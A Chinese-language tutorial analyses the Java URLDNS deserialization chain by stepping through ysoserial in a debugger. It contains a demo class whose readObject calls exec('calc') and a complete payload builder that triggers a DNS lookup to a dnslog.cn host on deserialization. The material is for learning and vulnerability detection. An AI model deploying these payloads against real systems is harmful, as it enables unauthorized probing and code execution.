Java反序列化：URLDNS的反序列化调试分析

URLDNS链子是Java反序列化分析的第0课，网上也有很多优质的分析文章。

笔者作为Java安全初学者，也从0到1调试了一遍，现在给出调试笔记。

一. Java反序列化前置知识

Java原生链序列化：利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口，将对象转化成字节序列。

Java原生链反序列化：利用Java.io.ObjectOutputStream对象输入流的readObject方法实现将字节序列转化成对象。

测试源码如下，此部分源码参考了ol4three师傅的博客：

package serialize;

import java.io.*;

public class deserTest implements Serializable {
    private int n;
    public deserTest(int n) {
        this.n=n;
    }

    @Override
    public String toString() {
        return "deserTest2 [n=" + n + ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="
                + super.toString() + "]";
    }

    // 反序列化
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();                 
        Runtime.getRuntime().exec("calc");          
        System.out.println("test");
    }

    public static void main(String[] args) {
        deserTest x = new deserTest(5);
        operation1.ser(x);
        operation1.deser();
        x.toString();
    }
}


// 实现序列化和反序列化具体细节的类
class operation1{

    // 将输出字节流写入文件中进行封存
    public static void ser(Object obj) {
        // 序列化操作，写操作
        try {
             // 首先文件落地object.obj存储输出流，绑定输出流           
            ObjectOutputStream ooStream = new ObjectOutputStream(new FileOutputStream("object.obj"));

            // 重定向将输出流字节写入文件
            ooStream.writeObject(obj);
            
            ooStream.flush();
            ooStream.close();

        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }catch (IOException e) {
            // TODO: handle exception
            e.printStackTrace();
        }
    }
    
    
    public static void deser() {
        // 反序列化，读取操作
        try {
            // 绑定输入流
            ObjectInputStream iiStream = new ObjectInputStream(new FileInputStream("object.obj"));
            
            // 反序列化时需要从相关的文件容器中读取输出的字节流
            // 读取字节流操作为readObject,所以重写readObject可以执行自定义代码
            Object xObject = iiStream.readObject();
            iiStream.close();
        } catch (IOException e) {
            // TODO: handle exception
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

二. ysoserial环境搭建

IDE就直接用JetBrains的IDEA就行

直接拿Java安全payload集成化工具ysoserial进行分析，这里面已经有现成的环境了

https://github.com/frohoff/ysoserial

注意配置好相应的JDK和SDK版本：

三. URLDNS攻击链

• 影响的版本问题：与JDK版本无关，其攻击链实现依赖于Java内置类，与第三方库无关

• URLDNS这条反序列化链只能发起DNS请求，无法进行其他利用，可以作为验证是否有反序列化漏洞的姿势

调试分析

Gadget Chain：

Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() ->

getHostAddress()

在getHostAddress函数中进行域名解析，从而可以被DNSLog平台捕获

URLDNS程序入口

在ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java路径下有URLDNS.java文件

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main主函数的run函数打断点进入

这个ysoserial-master的payload运行结构大致是有一个专门的PayloadRunner运行程序，然后统一调用来运行各部分的payload

首先是进行序列化：

继续往下，生成command，由于是分析URLDNS攻击链，所以只需要修改将返回值为dnslog的临时地址

创建实例后，进入到URLDNS的getObject的payload函数

getObject函数中应该注意的是：声明了HashMap对象和URL对象，并进行put哈希绑定，最后设置作用域

反序列化链子：

在反序列化入口处打断点：

在反序列化时调用了readObject函数

然后进入HashMap.java的readObject函数

在readObject中调试到此行，了putval，在此处IDEA这个IDE可以选择进入的函数，直接进入后者hash

由于我们读入字节序列，需要将其恢复成相应的对象结构，那么就需要重新putval

传入的key不为空，执行key.hashCode

进一步在URL.java文件下

进入URLStreamHandler的hashCode

产生解析：

总的来说，利用链思路如下：

在反序列化URLDNS对象时，也需要反序列化HashMap对象，从而调用了HashMap.readObject()的重写函数，重写函数中调用了哈希表putval等的相关重构函数，在hashcode下调用了getHostAddress函数

那么反之，为什么首次声明的时候没有调用到了getHostAddress函数，现在给出声明时的函数路线：

ht.put() --> .. --> SilentURLStreamHandler.getHostAddress()

该函数为空实现

列出几个路线上的关键函数看看：

由于此处key为String类型，则进入String.hashCode

相比之下，在反序列化中key为URL类型

设置了不发起dns解析

具体执行流，可以看下时序图，我就不讲了^^

四. URLDNS链的使用

import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class Main{


    // 序列化前不发生dns解析
    static class SilentURLStreamHandler extends URLStreamHandler{
        protected URLConnection openConnection(URL n) throws IOException{
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL n)
        {
            return null;
        }
    }

    public static void main(String[] args) throws Exception{

        HashMap hashMap = new HashMap();

        // 设置put时不发起dns解析
        URLStreamHandler handler = new Main.SilentURLStreamHandler();
        URL url = new URL(null, "http://jloqk8.dnslog.cn", handler);


        // 利用Java反射机制在动态执行时获取类
        Class clazz = Class.forName("java.net.URL");
        Field f = clazz.getDeclaredField("hashCode");
        f.setAccessible(true);

        hashMap.put(url, "123");
        f.set(url, -1);

        // 对象输出流绑定文件输出流
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);   // 序列化

        // 对象输入流绑定文件输入流
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();           // 反序列化

    }

}

本文作者：合天网安实验室

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